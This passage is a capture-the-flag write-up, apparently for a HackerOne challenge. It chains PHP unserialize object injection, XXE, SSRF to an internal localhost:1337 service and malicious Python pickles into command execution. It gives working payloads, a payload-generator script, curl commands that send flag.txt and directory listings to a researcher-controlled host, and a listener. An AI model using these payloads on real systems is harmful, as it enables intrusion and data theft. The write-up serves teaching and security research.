$new_memes = unserialize(base64_decode(
file_get_contents($_FILES['f']['tmp_name'])));
$_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
}
header("Location: /memes.php");
?>
Line by line:
<?phpand?>mark where the PHP code starts and ends.require_once("../includes/config.php")loads the shared configuration file, which starts the session.if (isset($_FILES['f']))checks whether a file was uploaded in a form field namedf.$_FILESis PHP's list of uploaded files.file_get_contents($_FILES['f']['tmp_name'])reads the uploaded file's contents from the temporary place the server put it.base64_decode(...)turns that text back from base64 into raw bytes. Base64 is a way of writing any bytes using only ordinary letters, digits and a couple of symbols, so binary data can travel as text.unserialize(...)turns those bytes back into live PHP values. Serialisation is the reverse of what it sounds like: it is the process of turning a live value into a text string, and unserialising turns the string back into a value. The danger is that the text can describe not just plain data but whole objects, and objects can carry code that runs when they are used.array_merge($_SESSION['memes'], $new_memes)joins the new list onto the list of memes already in your session.header("Location: /memes.php")sends the browser back to the memes page.
/api/export_memes_2.0.php:
<?php
require_once("../includes/config.php");
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.time().'_export.memepak"');
echo base64_encode(serialize($_SESSION['memes']));
?>
Line by line:
- It loads the configuration, as above.
Content-Type: application/octet-streamtells the browser the reply is a generic file download.Content-Disposition: attachment; filename=...suggests a filename for the download, built from the current time plus_export.memepak.serialize($_SESSION['memes'])turns your list of memes into a text string,base64_encode(...)makes it safe to send as text, andechowrites it into the reply.
The import script lets an attacker supply input to unserialize() through a file upload POST request. The unserialized data is merged into $_SESSION["memes"], where all of the user's memes are saved. So PHP objects can be created through unserialize, which is called object injection, and there is an XXE in the ConfigFile class; the remaining problem was how to put the two together.
Step 3: the __toString() and parse() chain
ConfigFile has a magic method __toString(). A method is a named block of code inside a class, and a magic method is one the language calls automatically in certain situations. __toString() is called any time the class is treated as a string, which usually means whenever the variable holding the class is used with echo, print, print_r and similar:
function __toString() {
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}
Line by line:
function __toString() {starts the magic method.$this->parse();calls another method on the same object.$thismeans "this object".$debug = "";creates an empty text string.- Each
$debug .= ...line adds more text to the end of that string.\nmeans a line break, and{$this->top_text}inserts the value of that property into the text. A property is a variable that belongs to an object. return $debug;hands the finished text back to whatever asked for the object as a string.
Following the __toString() execution chain, it immediately calls parse():
function parse() {
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
Line by line:
$dom = new DOMDocument();creates a new XML reader object.$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);parses the XML stored inconfig_raw. The two flags are the important part:LIBXML_NOENTsubstitutes entities with their values, andLIBXML_DTDLOADloads the DTD from outside. Together they switch on exactly the behaviour that makes XXE possible.simplexml_import_dom($dom)converts the parsed XML into an easy-to-read object.- The next four lines copy the values of the
toptext,bottomtext,templateandtypetags out of the XML into the object's properties.
This is promising: $this->config_raw is passed into the vulnerable loadXML() call and is not overwritten with anything static. An object created through unserialize can therefore set config_raw and have the XXE payload executed.
To test the chain, the relevant code was extracted into a local script run with warnings enabled, since the server shows no PHP errors or warnings and the researchers were blind to any roadblocks. The test code is in a gist:
https://gist.githubusercontent.com/ziot/[redacted]/raw/[redacted]/gistfile1.txt
With that script, base64_encode(serialize()) was run on the newly created class after setting the XXE payload inside config_raw:
class ConfigFile {
...
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "https://xss.buer.haus/ev.xml">%sp;%param1;]><r>&exfil;</r>';
echo base64_encode(serialize($test));
Line by line:
class ConfigFile { ... }is a shortened copy of the class from the site.$test = new ConfigFile("asdf");creates one object of that class.$test->config_raw = '...'puts an XML document into the property thatparse()will read. The document declares an entity%spwhose value is fetched fromhttps://xss.buer.haus/ev.xml, a server the researchers controlled, and then uses%sp;and%param1;to pull in more definitions. The&exfil;in the body is where the stolen data would be placed.echo base64_encode(serialize($test));turns the object into a text string, encodes it as base64, and prints it, ready to be uploaded.
Step 4: the array_merge obstacle
The next step was uploading the result through the import script at https://h1-5411.h1ctf.com/import_memes_2.0.php.

No dice: a warning said an array and an object cannot be merged with array_merge. An array is an ordered list of values. Looking back at /includes/config.php, $_SESSION["memes"] is an array() holding strings:
// Start/Resume session
session_start();
// Setup session
if (!isset($_SESSION['memes'])) {
$_SESSION['memes'] = array();
}
Line by line:
session_start();picks up the visitor's session, using the cookie.if (!isset($_SESSION['memes']))checks whether the memes list does not exist yet.$_SESSION['memes'] = array();creates an empty list for it.
For the object to be stored in $_SESSION["memes"], the serialised object has to be wrapped in an array. That complicates things, because the only way found so far to reach __toString() was the export script echoing $_SESSION["memes"]. A new trigger was needed.
Step 5: a new toString() trigger in generate.php
generate.php provided it:
foreach($_SESSION['memes'] as $meme) {
?>
<iframe width="100%" height="450" frameborder="0"
src="<?php echo htmlentities($meme); ?>"></iframe>
<?php
}
}
?>
Line by line:
foreach($_SESSION['memes'] as $meme) {goes through the list of memes one at a time, putting each into$meme.?>stops PHP so plain HTML can be written.<iframe ...>is an HTML box that shows another page inside the current one. Itssrcattribute is the address of that page.<?php echo htmlentities($meme); ?>switches back to PHP and prints the meme into thesrcattribute.htmlentities()replaces characters such as<and>with safe codes so they cannot break the HTML.- The closing braces end the loop and the surrounding block.
The code loops through every item in the $_SESSION["memes"] array and echoes it. When it reaches the object stored in the array, __toString() is triggered and the XXE payload executes.
Loading file:///etc/passwd with the XXE payload:
class ConfigFile {
...
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0"?><!DOCTYPE root[<!ENTITY foo SYSTEM "file:///etc/passwd">]><test><toptext>dddrrr &foo;</toptext></test>';
echo base64_encode(serialize(array($test)));
Line by line:
- The class is copied again.
$test = new ConfigFile("asdf");creates the object.config_rawnow holds XML that declares an entityfoowhose value is the filefile:///etc/passwd. On Linux,/etc/passwdis a classic file listing user accounts, often used as a harmless test target.<toptext>dddrrr &foo;</toptext>puts the entity inside thetoptexttag, so its value ends up in the parsed result and is shown back to the user.serialize(array($test))wraps the object in an array before serialising, which is the fix for the merge problem from the previous step.

XXE was working.
Step 6: finding the internal maintenance service
Local file read was already available, so the next target was something else. A mention of localhost had been seen in one of the files. Localhost means "this same machine": a server talking to itself. XXE allows server-side request forgery, usually shortened to SSRF, which is making the server send a request to an address of your choosing. Because the XML is rendered back to the user it is not blind: internal websites and services can be fetched and viewed. A blind attack is one where you cannot see the result; a non-blind one shows it to you.
This comment was in /includes/classes.php:
/* Maintenance service: internal service on localhost, still under development!!
class Maintenance {
function __construct() {
//TODO
}
}
*/
Line by line:
/*and*/mark a comment, which the program ignores. This one is a note left by the developers.- It says there is a maintenance service on localhost, still under development.
- The
class Maintenanceinside the comment is code that was commented out, so it does nothing.
Various http:// calls to localhost did not work. The guess that the service was on a random port was right on the first try: querying http://localhost:1337 returned a response. A port is a numbered door on a machine; one machine can run many services, each on its own port. The maintenance service was on port 1337.
The non-blind XXE payload used to discover the port and its functionality:
<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/">
]><test><toptext> &foo;</toptext></test>
Line by line:
<?xml version="1.0"?>says this is XML, version 1.0.<!DOCTYPE root [ ... ]>starts the DTD block, where entities are declared.<!ENTITY foo SYSTEM "...">declares an entity namedfoowhose value is fetched from the address given.- The address uses
php://filter/convert.base64-encode/resource=..., a PHP feature that reads the resource and base64-encodes it on the way out. This keeps the fetched content intact even if it contains characters that would break the XML. ]><test><toptext> &foo;</toptext></test>closes the DTD and puts the entity insidetoptext, so the fetched content appears in the output.
It returned:
Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints:
/status - View maintenance status;
/update-status Change maintenance status;
Debug: The debug parameter allows debugging;
This is the service introducing itself: it is an internal maintenance API, version 0.1 alpha, with two endpoints, /status to view the maintenance status and /update-status to change it, plus a debug parameter.
Step 7: pickle injection in the maintenance API
Accessing /status?debug=1 printed:
Maintenance mode: off | Debug: [redacted]=
Line by line:
Maintenance mode: offis the human-readable status.Debug:is followed by a long string of letters and digits ending in=. That is base64, the same text encoding used earlier.
Base64 decoding the string showed Python pickle:
(iapp
Status
p1
(dp2
S'message'
p3
S'Maintenance mode: off'
p4
sS'maintenance'
p5
I00
Sb.
Line by line:
(iappandStatusstart rebuilding an object of a class calledStatus.p1and(dp2begin a dictionary, which is Python's name for a set of key and value pairs.S'message'andS'Maintenance mode: off'are a key and its value.S'maintenance'andI00are another key and value, the number 0.sandb.finish the dictionary and the object.
Pickle is Python's serialisation format and has similar object injection vulnerabilities; in general it leads immediately to remote code execution. Remote code execution means running your own commands on someone else's machine. The plan was therefore to update the status with a malicious pickle.
Sending a valid pickle to /update-status?status=<base64 pickle>&debug=1 returned:
A new status has been loaded. Automatic reloading not implemented yet!
A malformed pickle would show error output, so the work had to be done blind. A malicious pickle payload generator worked for this:
https://gist.github.com/mgeeky/[redacted]
It was run as:
# python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com'
[redacted]==
Line by line:
#starts a comment, so the first line is a note showing how the tool was used.python pickle.py '...'runs the generator script with a command as its argument.- The command inside the quotes is
curl -X POST -d "|$(cat flag.txt)|" myserver.com.curlis a command-line tool for sending web requests.-X POSTmakes it a POST,-dsupplies the body, andmyserver.comis the destination, a server the researchers controlled. $(cat flag.txt)runscat flag.txt, which prints the contents of that file, and puts the result into the command. The|characters are just markers around the output so it is easy to spot.- The second line is the base64 pickle that the tool produced, ready to be sent to the service.
Step 8: chaining the pickle through the XXE
The generated pickle was added to the PHP payload:
$test->config_raw = '<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=[redacted]==&debug=1">
]><test><toptext> &foo;</toptext></test>';
Line by line:
- This is the same XXE structure as before, but the address is now the
/update-statusendpoint. ?status=...passes the base64 pickle as the status value, so the service will unpickle it.&debug=1switches on debugging.- The whole thing is wrapped in
php://filter/convert.base64-encode/resource=...so the reply comes back safely encoded.
The new mypack file to upload:
[redacted]/eG1sIHZlcnNpb249IjEuMCI/[redacted]/[redacted]+PHRlc3Q+PHRvcHRleHQ+[redacted]
This is the base64 text of the serialised array containing the object, with the XML above inside config_raw. It is what gets uploaded through the import endpoint.
When memes.php is visited again, the POST response is received with a simple tornado listener:
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def post(self):
print self.request.body
def make_app():
return tornado.web.Application([
(r"/.*", MainHandler),
])
if __name__ == "__main__":
app = make_app()
app.listen(80)
tornado.ioloop.IOLoop.current().start()
Line by line:
import tornado.ioloopandimport tornado.webload Tornado, a small Python web framework.class MainHandler(tornado.web.RequestHandler):defines what to do when a request arrives.def post(self):handles POST requests.print self.request.bodyprints the body of the request, which is where the command output will be.def make_app():builds the application and sends every address (r"/.*") toMainHandler.app.listen(80)listens on port 80, the default web port.tornado.ioloop.IOLoop.current().start()starts the loop that keeps the server running.
Step 9: reading the filesystem and the flag
Using the same method to list the file system (python pickle.py 'curl -X POST -d "|$(ls -lath)|" myserver.com') returned:
total 36K
drwxr-xr-x 1 root root 4.0K Sep 26 16:20 ..
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 .
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 static
-rw-r--r-- 1 maintenance maintenance 1.7K Sep 23 19:28 app.py
-rw-r--r-- 1 maintenance maintenance 3.4K Sep 23 19:11 app.pyc
-rw-r--r-- 1 maintenance maintenance 150 Sep 23 19:07 flag.txt
-rw-r--r-- 1 maintenance maintenance 14 Sep 18 17:50 requirements.txt
-rw-r--r-- 1 maintenance maintenance 89 Sep 18 17:50 status.pickle
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 18 17:50 templates
Line by line:
ls -lathis a command that lists files in a folder with details.-lgives the long format,-aincludes hidden files,-tsorts by time, and-hmakes sizes human-readable.- Each line describes one file or folder: permissions, owner, group, size, date and name.
..is the parent folder and.is the current folder.staticandtemplatesare folders.app.pyandapp.pycare the service's Python source and its compiled form.flag.txtis the prize.requirements.txtlists the Python packages the service needs.status.pickleis the saved status file.
Reading flag.txt (python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com') showed the flag:
Yay! Here is your flag:
flag{[redacted]?_or_rep0rt_an_LF1}
Go to https://hackerone.com/h1-5411-ctf and submit your writeup!
Line by line:
Yay! Here is your flag:is a friendly message.- The line starting
flag{and ending}is the flag itself, the proof that the challenge was solved. - The last line tells the solver where to submit the write-up.
The PHP code used to generate the payload (it works on http://sandbox.onlinephpfunctions.com/):
<?php
$qqq= array("test", "abc");
class ConfigFile {
function __construct($url) {
$this->config_raw = $url;//file_get_contents($url);
}
function parse() {
echo '<p>DEBUG: parse() hit (current config_raw = '.htmlspecialchars($this->config_raw).' )</p>';
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
function generate() {
$this->parse();
$meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder";
if ($this->type == IMAGE) {
if (@is_array(getimagesize($this->path))) {
$meme_path = MEMES_FOLDER . $filename . ".jpg";
$args = array(
"top_text" => $top_text,
"bottom_text" => $bottom_text,
"filename" => $meme_path,
"font" => FONT_BASE,
"memebase" => $this->path,
"textsize" => 40,
"textfit" => true,
"padding" => 10,
);
memegen_build_image($args);
}
}
if ($this->type == TEXT) {
if (!@is_array(getimagesize($this->path))) {
$contents = file_get_contents($this->path);
$meme = " " . strtoupper($top_text) . "\n\n" . $contents . "\n " . strtoupper($bottom_text);
$meme_path = MEMES_FOLDER . $filename . ".txt";
file_put_contents($meme_path, $meme);
}
}
return $meme_path;
}
function __toString() {
echo '<p>DEBUG: toString() hit</p>';
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=[redacted]==&debug=1">
]><test><toptext> &foo;</toptext></test>';
$serialized = base64_encode(serialize(array($test)));
// test to make sure array_merge still works
$new_memes = unserialize(base64_decode($serialized));
$qqq = array_merge($qqq, $new_memes);
// print it
echo $serialized;
?>
Line by line:
$qqq= array("test", "abc");is a small list used to test the merge.class ConfigFile { ... }is a copy of the site's class, with debug messages added so the researchers can see when each method runs.function __construct($url)runs when the object is created and stores the argument inconfig_raw.function parse()prints a debug line, then parsesconfig_rawwith the same two dangerous flags as the real site.function generate()is the meme-building method, included so the copy behaves like the original. It checks whether the type is image or text and builds the file accordingly.function __toString()prints a debug line, callsparse(), and returns the debug text.$test->config_raw = '...'puts the XXE payload into it, the same payload as above.$serialized = base64_encode(serialize(array($test)));wraps the object in an array, serialises it and encodes it, producing the text to upload.$new_memes = unserialize(base64_decode($serialized));reverses the process, as the import endpoint would.$qqq = array_merge($qqq, $new_memes);checks that the merge now works with the array wrapper.echo $serialized;prints the final payload.
Root cause
The chain combines several separate mistakes:
- The
templateparameter of/api/generate.phpis used as a filename without restriction, giving local file read and exposing the application source. /api/import_memes_2.0.phpcallsunserialize()on attacker-supplied, base64-decoded upload content, allowing PHP object injection.ConfigFile::parse()callsDOMDocument->loadXML()withLIBXML_NOENT | LIBXML_DTDLOAD, which enables external entity and DTD loading, so aconfig_rawvalue set through object injection becomes an XXE.generate.phpechoes each session meme inside an iframesrc, which triggers__toString()on the injected object and runs the XXE. Thehtmlentities()call does not prevent this, because the trigger happens when the object is converted to a string, before escaping.- The internal maintenance service on
localhost:1337accepts a base64 pickle through/update-status, and a malicious pickle payload generator produced command execution. The XXE is non-blind, so the service could be discovered and driven through the same channel.
Impact
The report lists the impact as content injection. The chain gave local file read, server-side request forgery against internal services, and, through the pickle endpoint, command execution that was enough to read flag.txt. The conditions are the ones above: the import endpoint must be reachable, the application must unserialize the uploaded data, and the internal service must be listening and accept the pickle.
Fix
No fix is described in the report. The changes that would break the chain are: validating the template parameter against an allowlist of template files, removing unserialize() of user uploads in favour of a safe format, and loading XML without LIBXML_NOENT and LIBXML_DTDLOAD. On the maintenance service, pickle should not be used for data received over HTTP.
Variants to test
- On any meme or template generator, change the template parameter to a path such as
../../etc/passwdor a PHP file and see whether its contents appear in the generated output. - Look for import or export endpoints in included files that are not linked in the UI, and check whether their upload handlers call
unserialize()on the file contents. - Search the source for
loadXML,LIBXML_NOENTandLIBXML_DTDLOAD; a positive result is an entity that resolves to a local file or an internal URL and is reflected back. - Look for places where session data is echoed, such as iframe
srcattributes, to find a__toString()trigger for an injected object. - Probe
localhoston common and unusual ports through XXE, and check whether the response body is returned; a service banner or API documentation page confirms a non-blind SSRF. - Where a debug parameter returns base64 data, decode it and check for pickle or other serialisation formats; a positive result is a payload that executes a command and sends its output to a listener you control.
Glossary
- API: a set of addresses on a server that programs talk to, rather than pages meant for people.
- Array: an ordered list of values in code.
- Base64: a way of writing any bytes using only ordinary letters, digits and a couple of symbols, so binary data can travel as text.
- Blind attack: an attack where you cannot see the result; a non-blind one shows it to you.
- Class: a blueprint in code that describes what an object can hold and do.
- Cookie: a tiny piece of text your browser stores and sends back with every request, often used to identify your session.
- CTF (capture the flag): a puzzle contest where a deliberately broken website hides a prize called a flag.
- curl: a command-line tool for sending web requests.
- DOMDocument: PHP's built-in XML reader.
- DTD: a block at the top of an XML document that declares entities.
- Endpoint: a specific address on a server that does a specific job.
- Entity: in XML, a short name that stands for something else; an external entity fetches its value from elsewhere.
- Enumerating: trying one name after another in a list.
- Flag: the short piece of text that proves you solved a CTF challenge.
- GET / POST: two kinds of web request; GET asks for a page, POST sends data to the server.
- HTML: the language web pages are written in.
- HTTP: the protocol browsers and servers use to talk.
- iframe: an HTML box that shows another page inside the current one.
- include(): a PHP instruction that pulls one file into another.
- Local file read: tricking the server into opening a file on its own disk and showing you the contents.
- localhost: "this same machine"; a server talking to itself.
- Magic method: a method the language calls automatically in certain situations, such as
__toString()when an object is treated as a string. - Method: a named block of code inside a class.
- Object: a live value built from a class, holding its own properties.
- Object injection: creating objects through unserialise, which can carry code that runs when they are used.
- Parameter: a named value sent with a request, such as
templateortype. - Pickle: Python's serialisation format, which can also carry code that runs when loaded.
- Port: a numbered door on a machine; one machine can run many services, each on its own port.
- Property: a variable that belongs to an object.
- Remote code execution: running your own commands on someone else's machine.
- Serialisation: turning a live value into a text string; unserialising turns the string back into a value.
- Session: a small note the server keeps about you while you browse, identified by a cookie.
- Source code: the human-written instructions of a program.
- SSRF (server-side request forgery): making the server send a request to an address of your choosing.
- Variable: a named box in code that holds a value.
- Vulnerability: a mistake that lets someone make a program do something it was not designed to do.
- XML: a text format for structured data, built from tags in angle brackets.
- XXE (XML External Entity): an attack where you make the server fetch something through an XML entity and hand it back to you.